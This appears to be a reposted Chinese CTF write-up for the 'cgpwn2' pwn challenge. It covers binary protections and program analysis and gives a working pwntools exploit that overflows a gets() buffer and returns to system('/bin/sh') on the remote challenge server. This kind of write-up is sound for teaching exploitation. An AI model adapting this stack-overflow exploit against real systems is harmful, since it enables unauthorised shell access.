首页 > 其他 > 详细

攻防世界-pwn-cgpwn2

时间:2020-10-26 09:48:37      阅读:69      评论:0      收藏:0      [点我收藏+]

cgpwn2-writeup
一.查看开启的保护
技术分享图片
32位程序,保护开启了RELRO和NX,没有Stack和PIE。

*防护机制

ASLR (Address space layout randomization,地址空间布局随机化)

在windows上ASLR主要包括堆栈随机化、PEB(Process Envirorment Block Structure进程环境信息块)与TEB(线程环境快)、映像随机化,windows系统从vista开始ASLR才真正发挥作用。
在linux上ASLR主要包括栈地址随机化、LIBS/MMAP随机化、EXEC随机化、BRK随机化、VDSO随机化。在没有ASLR的情况下让程序跳转到一个已经存在的系统函数的漏洞利用方式被称为ret2libc。
在linux系统中ASLR被分为0,1,2三个等级,可以通过sudo bash -c "echo 2 > /proc/sys/kernel/randomize_va_space"设置。
0:没有随机化。即关闭ASLR。
1:保留的随机化。共享库、栈、mmap()分配的内存空间以及VDSO将被随机化。
2:完全的随机化。在1的基础上,通过 brk()分配的内存空间也将被随机化。

NX(Non-Executable Memory,不可执行内存)

类似于DEP,数据执行保护。

PIE

PIE只有在系统开启ASLR和编译时开启-fpie-pie选项这两个条件同时满足时才会生效。

RELRO

RELRO(RELocation Read-Only,只读重定位)让加载器将重定位表中加载时解析的符号标记为只读,这减少了GOT覆写攻击的面积。RELRO可以分为Partial RELRO(部分RELRO)和Full RELRO(完整RELRO)。开启Partial RELRO的话GOT表是可写的;开启FULL RELRO的话GOT表是只读的。

Stack

Stack Protector又名canary,stack cookie……等等,类似于VS编译器中的GS。

二.程序逻辑分析
IDA f5打开main函数
技术分享图片
首先定义了三个流的缓冲区,然后调用了hello函数,然后打印“Thank you”,程序结束。

查看main函数

技术分享图片
技术分享图片
首先要求我们输入一个名字,通过fgets()函数,从键盘读取最多32个字符到name区域。
然后提示我们输入一些信息,通过gets()函数,没有字符数量的限制,从键盘读取到s区域。
技术分享图片
技术分享图片
name是bss段的一个大小为34的区域,s区域的起始位置是运行时距离栈帧x26个字节的地方,大小不限。
name地址固定,直接将/bin/sh写入即可。
然后hello函数结束。

pwn函数

技术分享图片
存在一个call system。
三.分析和编写脚本
将/bin/sh写入name,作为system的参数,对s利用栈溢出,返回system的地址,exp如下:

from pwn import *
r = remote(‘220.249.52.133‘,37923)

target = 0x0804855A

binsh = 0x0804A080

payload = ‘a‘ * 0x26 + ‘bbbb‘ + p32(target) + p32(binsh)

a = r.recvuntil(‘e\n‘)
r.sendline(‘/bin/sh‘)
a = r.recvuntil(‘:\n‘)
r.sendline(payload)
r.interactive()

运行结果
技术分享图片

攻防世界-pwn-cgpwn2

原文:https://www.cnblogs.com/diaolan/p/13876645.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!